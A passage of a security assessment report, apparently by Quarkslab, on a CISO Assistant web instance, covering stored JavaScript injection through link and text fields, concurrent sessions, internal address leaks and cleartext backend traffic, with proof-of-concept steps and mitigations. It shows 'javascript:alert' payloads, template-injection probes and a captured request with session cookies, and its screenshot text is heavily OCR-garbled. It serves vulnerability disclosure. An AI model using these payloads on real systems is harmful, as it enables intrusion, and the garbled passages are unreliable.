b <div class="grid grid-cols-1 gop-1
smigap-47> = </div> grid
b <div classe"grid grid-cols-1 gop-1
migap- 4> = </div> grid
b <div classe"grid grid-cols-1 gap-1
smigap-4°> = </div> grid
b <div class="grid grid-cols-1 gap-1
smigap-4”> = «/div> grid
b <div closse"grid grid.cols.1 gop-1
SBIgap. AT «/div> grid
b «div closse"grid grid.-cols-1 gop-1
Smgap. 4% < /aive grid
b «div closse"grid grid.cols-1 gap-1
2 «ldiv> grid
grid grid.cols.1 gop-1
ABgap- 4" < /a1y grid
b <div classe"grid grid.cols.1 gop-1
B Qap AT /iy grid
w ediv classe"grid grid.cols-1 gap-1 py-3 px.2 even: by.gray-50 sm grid.cols.
migap. 4T grid
it classs"font.medium text .gray-900° data.testide"link.field.title”»Linke/
at»
w400 classe"text.gray 700 smicol.span.2T»
waul classe""
w<ll classs"list.none whitespoce.pre.-line” dota.testids"link.field-

3 px-2 even:bg-gray-50 sm:grid-cols-3

3 px-2 even: bg-gray-50 ss:grid.cols.3
3 px-2 even:bg-gray-50 ss:grid.cols-3
3 px-2 even:bg-gray-50 sm:grid.cols.3

smigrid-cols-3

5@
50
50
3 px-2 even:bg-gray-50 sm:grid-cols.3
50
even:bg-gray-5¢

50

3 px-2 even:bg-gray-50 sm:grid-cols-3
3 px-2 even:bg-gray-50 smigrid.cols-3
3 px-2 even:bg-gray-50 smigrid.cols.)

3 px-2 even:by-gray-50 smigrid.cols.d

EEEEEEEERER)
-]

even bg.gray - smigrid.cols.)

3
I
-
g |
~

50
5
3 px.2 even: bg-gray-50 smigrid.cols.}d
0
e

z

<3 pxe2 even bg-gray-50 seigrid.cols.y

-

Figure 11 — JavaScript payload is executed.

Note that this vulnerability can also be triggered by creating a new policy rather than modifying an existing

one.
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OO0

[[ debug 11

ORGANIZATION

CATALOG

ASSETS MANAGEMENT

OPERATIONS

q

Applied controls

Calendar

# X-rays

Incidents

»

® Tasks

GOVERNANCE

RISK

COMPLIANCE

THIRD PARTIES

C O B https://eager-raccoon-9252.ciso-assistant.net/task-templates/81b202e3-c953-45f7-8dB5-2e77bd3de8f2

javascript:alert(-111)

® Home calendar
Domain

Assets

Applied controls
Audits

Risk assessments
Assigned to

Next occurrence
Last occurrence status
Created at
Updated at
Name
Description

Date

Recurrent

Reference ID

TA: javascript:alert(-111...

javascript:alert(-111)

Global

{% debug %}
Reseller platform

Multi regions pattern for Kubemetes

Quick start audit 11:41 AM

Ecommerce Risk overview - 0.1

vmika@quarkslab.com

2025-05-13

Pending

5/12/2025, 2:30:03 PM

5/13/2025, 12:06:23 PM

javascript:alert(-111)

javascript:alert(777)

2025-05-12

javascript:alert(888),

Figure 12 - JavaScript injected into various fields.

The fields detected as injectable are the following:

3.1.3.4.

To prevent such an attack, it's essential to sanitize and validate all user-generated content, ensuring that no
executable code can be injected through elements like links. Additionally, escaping output correctly prevents
JavaScript from being executed when rendered in HTML. A Content Security Policy (CSP) can further help by
restricting the execution of inline scripts or JavaScript within links, blocking the execution of malicious code

name
description
ref id

link

Mitigations

in unexpected places.
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3.1.4. V05 - Insecure Session Management (Session Concurrency Issue) (known and
accepted risk)

Affected target(s) e  CISO assistant instance (https://eager-raccoon-9252.ciso-assistant.net)

D ioti Multiple concurrent user sessions are allowed without restriction or notification, creating a
escription )
session management weakness.

. Limit or monitor concurrent sessions and enforce secure session lifecycle practices to reduce
Recommendations i
exposure to unauthorized access.

CVSS score CvSS3.1:3.1

CVSS Link CVSS:3.1/AV:N/AC:H/PR:L/UL:N/S:U/C:N/I:L/A:N

3.1.4.1. Description of the vulnerability

The application fails to properly manage user session concurrency, allowing multiple active sessions for a
single user account without restriction or user awareness. This behavior may occur when sessions are not
invalidated on new login or when no controls are in place to detect and prevent simultaneous login from
different devices or locations.

When User A logs into Account X, a session is created. Later, User B also logs into Account X (possibly from
another device or location), however User A is not logged out, and both sessions remain active
simultaneously. This means multiple active sessions are allowed for the same user account without any
restrictions or user awareness.

3.1.4.2. Impact of the exploitation

This behavior introduces several security concerns. It allows account sharing, where users can distribute
credentials to bypass licensing or usage restrictions, undermining the integrity of the service. More critically,
it exposes users to session hijacking risks. If an attacker manages to obtain login credentials, they can access
the account while the legitimate user remains unaware of their presence. The absence of any session
termination or notification mechanism prevents users from detecting unauthorized access. This also poses
compliance issues for applications handling sensitive data, where strict session control is often a regulatory
requirement.

3.1.4.3. Proof of concept and steps to reproduce

By logging in with the same account on two different browsers (left Mozilla, right Chromium), auditors could
validate that it is possible to have two valid sessions at the same time.
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Figure 13 — Concurrent sessions for two different browsers

3.1.4.4. Mitigations

To address this vulnerability, applications should enforce stricter session policies. One effective method is to

automatically invalidate any existing session when a new login occurs, ensuring that only one active session

per account exists at any time. Alternatively, the system can allow multiple sessions but provide users with

visibility and control over their active sessions, such as listing connected devices and offering the ability to

terminate sessions. Additionally, implementing session expiration, re-authentication prompts, and anomaly

detection based on IP address or device fingerprinting can help strengthen session security.

3.1.4.5. References

e https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html|
e https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication.html

e https://portswigger.net/web-security/authentication/multi-factor

e https://www.acunetix.com/blog/articles/session-management-vulnerabilities/

e https://www.owasp.org/index.php/Testing_for_Session_Management_(OTG-SESS-002)
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3.1.5. V04 - Technical information leak (the vulnerability has been fixed)

Affected target(s) e (ISO assistant instance (https.//eager-raccoon-9252.ciso-assistant.net)

S o The application/system exposes sensitive technical details, such as error messages, server paths,
escription . . . . - e
or software versions, which could assist attackers in identifying vulnerabilities.

. Ensure error messages are generic, hide sensitive technical details, and review configurations to
Recommendations

prevent unintentional information exposure.

CVSS score CVvsS3.1:2.7

CVSS Link CVSS:3.1/AV:N/AC:L/PR:H/UL:N/S:U/C:L/I:N/A:N

3.1.5.1. Description of the vulnerability

Technical information leaks occur when an application unintentionally exposes sensitive technical
information that could help an attacker in understanding the internal workings or architecture of the system.
This includes, but is not limited to, detailed error messages, stack traces, database names or queries, server
paths, API responses.

3.1.5.2. Impact of the exploitation

The exposed information may provide attackers with valuable insights for crafting targeted attacks,
bypassing security controls, or identifying vulnerabilities within the application or infrastructure. The leakage
of such technical details can significantly increase the risk of exploitation by reducing the effort required to
identify weaknesses.

Specifically, at least two endpoints leak inner working of the application, disclosing that the underlying
machine is exposing port 8000 on the loopback interface. While this information is non-trivial to exploit on
its own, it could be used in a chain of several exploits to leak information necessary to perform another
attack.

3.1.5.3. Proof of concept and steps to reproduce

Example 1: Profile picture leaking underlying architecture

By browsing to /settings and the tab “Client settings”, a user can change the image displayed on its instance.

After uploading, a message warns the user that uploading a new one will destroy the previous one.

Quarkslab SAS - Reference: 25-05-2124-REP Page 30 of 33

PUBLIC



Intuitem / Web Application Assessment

Quarkslab

Securing every bit of your data
Settings
4 O o @ Home setrings
testing
= @ general PSSO B Client settings
OVERVIEW > SEE——
Name
INSIGHTS > testing
Logo
ORGANIZATION >
(@ LRSI No file chosen
CATALOG > WARNING: Uploading a new file will overwrite the existing onejhttp://localhost:8000/client_logos/test png |
Favicon
OPERATIONS > No file chosen
WARNING: Uploading a new file will overwrite the existing D'ﬁ[ﬂttp;//locdIhosL;SC)OO’(I;enl "avi(ons/lest.p'lgl

Figure 14 — Loopback address and port of the underlying leaking.

The error message leaks the location of the existing one, allowing an attacker to gain knowledge about the

underlying architecture.

Following the fixes, only the file name appears.

Example 2: API call leaking underlying architecture

By issuing a GET request to the path user-groups, the servers response contains, alongside the query result,
a next field (apparently used for pagination purposes) that contains the full URL of the API.

Request Response
Pretty  Raw  Hex _ Wnw = Pretty  Raw  Hex Render
1 GET fuser-groups?offset=0&limit=10 HTTP/2 1 HTTP/2 200 OK
2 Host: eagar-raccoon-9252.ciso-assistant.net 2 Date: Wed, 07 May 2025 13:23:05 GMT
3 Cookie: csrftoken= 3 Content-Type: application/json
PSUFEM XZqql 7STOf MyFcowoBl A9L4aB5LUZRSWh ZrhRztNLQECoshPLQv LIPWCL A} 4 Vary: Accept
PARAGLIDE_LOCALE=en; tokan= 5 Strict-Transport-Security: max-ag==31535000; 1nclud=SubDomains
4fes71d4b1595b639cc0e8979948b95080558c zh 2ecBag815dc11e6145f chacs; 5
allauth_session_tokenzk)tyvv76b2365w3pdf j6)c2qte3k2s11; 71 {
show_first_login_modal=false ‘coyunt':l2
4 Sec-ch-ua-Platform: *Linux’ I"next' :"http:,//lucalhost:BCOO,’ap’./’u'Ser-grou;.')s,v"(‘\.llm.ttlo&offse[:lO"]
s Accept-Language: en-US,en;q=0.9 Tprevious'inull,
6 Sec-ch-ua: *Chromium® ;v="135", "Not-A.Brand";v='g" "results’:[
7 User-Agent: Mozilla/5.0 (X11; Linux xB6_64) AppleWebK1it/537.35 (KHTML, 1{
like Gacka) Chrome/135.0.0.0 safari/s37.36 vid":"o6a3zfse- 5zhe- 4839- Geb3-944c2180¢f 13",
2 Sec-Ch-Ua-Mobile: 70 "name":'Globzal - Admnistrator",
9 Accept: */* "localization_dict":{
10 Sec-Fetch-Site: same-origin "folder":"Global",
11 Sec-Fetch-Mode: cors “role':"Administrator"
12 Sec-Fetch-Dest: empty 5
12 Referer: https://eager-raccoon-9252.ciso-assistant.net/user-groups "folder':{
14 Accept-Enceding: gzip, deflate, br vstr":"Global",
15 Priority: u=l, i "id":'12d8040c- 23fb- 4092-hced- e20e4710f {1 3F"
16 }
17 "created_at" :'2025-04- 30T 14:25:15.052C000Z2" ,
vupdated_at":'2025- 04- 30T 14: 25: 15. C520002Z" ,
"1s pubhied':false,

Figure 15 — Server disclosing the full underlying API path.

3.1.5.4. Mitigations

To reduce the risk of exposing sensitive information, several measures should be taken. First, implement
generic error messages to avoid displaying detailed error information to end users that could reveal system
internals. Second, mask or sanitize stack traces and logs to ensure that detailed technical information is not
exposed in production environments. Finally, use proper input validation and output encoding to help
prevent the leakage of sensitive information through improperly validated user inputs or improperly

encoded output.
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3.1.6. V06 - Cleartext Protocol Usage (known and accepted risk)

Affected target(s) Communication between the reverse proxy and the API.

Description Sensitive data is transmitted over the network using unencrypted, cleartext protocols.

. Replace all cleartext communication with secure, encrypted alternatives like TLS-based
Recommendations

protocols.
CVSS score CVSS3.1:2.2
CVSS Link CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N

3.1.6.1. Description of the vulnerability

Cleartext protocols transmit data without encryption, allowing anyone with access to the network to
intercept and read the traffic. These protocols do not provide confidentiality or integrity, making them
inherently insecure, especially when handling sensitive information such as login credentials or personal
data.

3.1.6.2. Impact of the exploitation

An attacker with access to the network can eavesdrop on the transmitted data, potentially capturing
sensitive information such as credentials, session tokens, or personal data. This can lead to unauthorized

access, data breaches, or further compromise of systems.

Auditors noticed that the application is served by a reverse-proxy that seems to pass the data to backend
services over the unencrypted HTTP protocol. Although not directly exploitable, this broadens the impact of
the compromission of the reverse proxy and could leak sensitive data if an attacker can intercept the traffic.
3.1.6.3. Proof of concept and steps to reproduce

Example 1: Information leaked by the application

The application leaks an internal backend service via the profile feature. The target service is using HTTP.
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€ 5 C || h#ssi//eager-raccoon-9252.ciso-assistant.net/settings
Settings
o o @ Home Settings
[[ debug 11
= @ general PSSO  MFeatureflags M Client settings
OVERVIEW >
Name
INSIGHTS > [ debug 1
Logo
ORGANIZATION >
No file chosen
CARIDC N WARNING: Uploading a new file will overwrite the existing onelhttp://loca\hosZZSDOOIcIient_!ogos/’.esLDng ]

Favicon

ASSETS MANAGEMENT > No file chosen

WARNING: Uploading a new file will overwrite the existing one| http://localhost:8000/client_favicons/test.png]

Figure 16 — Internal backend service using HTTP.
Example 2: Settings of the Django project

Looking at the settings.py file auditors could spot that the cIso assisTanT URL is set to point to the
loopback interface over the HTTP protocol.

33 CISO_ASSISTANT_URL = os.environ.get("CISO_ASSISTANT_URL",I "http://localhost:5173")]
34

35

36 def set_ciso_assistant_url(_, __, event_dict):

37 event_dict["ciso_assistant_url"] = CISO_ASSISTANT_URL

38 return event_dict

39

Figure 17 — Settings of the project defining a backend URL to use the HTTP protocol.

3.1.6.4. Mitigations

To mitigate the risks associated with the usage of clear text protocols, the following actions are
recommended:

e Migrate to Encrypted Alternatives: Replace cleartext protocols with secure versions, such as HTTPS
instead of HTTP, SFTP instead of FTP, and SSH instead of Telnet.

e Enforce Transport Layer Security (TLS): Configure all services to require strong TLS encryption for
data in transit.

e Disable Insecure Protocols: Identify and completely disable all legacy services and ports that operate

using clear text communication.
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